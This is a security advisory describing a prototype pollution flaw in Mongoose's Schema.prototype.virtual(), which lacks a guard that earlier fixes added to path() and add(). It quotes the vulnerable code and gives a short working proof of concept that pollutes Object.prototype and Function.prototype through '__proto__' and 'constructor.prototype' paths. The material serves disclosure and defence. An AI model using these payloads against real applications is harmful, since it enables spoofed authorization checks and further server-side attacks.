CVE-2026-125118

### Summary Prototype pollution via Schema.prototype.virtual() — the 2022 fix for CVE-2022-2564 / CVE-2022-24304 protected Schema.path()/add() but never virtual(), so the same class of bug is still exploitable in all maintained release lines. ### Details In lib/schema.js, Schema.prototype.virtual() (defined at line 2643) builds the virtual path via: ```javascript virtuals[name] = parts.reduce(function(mem, part, i) { mem[part] || (mem[part] = (i === parts.length - 1) ? new VirtualType(options, name) : {}); return mem[part]; }, this.tree); // lines 2755-2759 ``` Unlike `path()`/`add()`, `virtual()` never received the `specialProperties` check added for CVE-2022-2564/CVE-2022-24304 (`lib/schema.js` lines 806, 1308, 1331). A path containing `__proto__`/`constructor`/`prototype` segments resolves through the prototype chain and writes onto `Object.prototype` / `Function.prototype`. ### Proof of concept ```javascript const mongoose = require('mongoose'); const schema = new mongoose.Schema({}); schema.virtual('__proto__.polluted'); console.log(({}).polluted); // VirtualType instance console.log(Object.prototype.hasOwnProperty('polluted')); // true console.log(Object.getOwnPropertyDescriptor( Object.prototype, 'polluted').enumerable); // true schema.virtual('constructor.prototype.opol'); console.log(({}).opol); // true schema.virtual('hasOwnProperty.__proto__.fpol'); console.log((function(){}).fpol); // Function.prototype polluted ``` ### Impact Attacker-influenced schema field names (dynamic schemas, CMS form builders, schema-as-code) allow pollution of Object.prototype (own, enumerable keys visible on every object — e.g. `({}).isAdmin` checks can be spoofed) and Function.prototype (a known gadget primitive in server-side JS).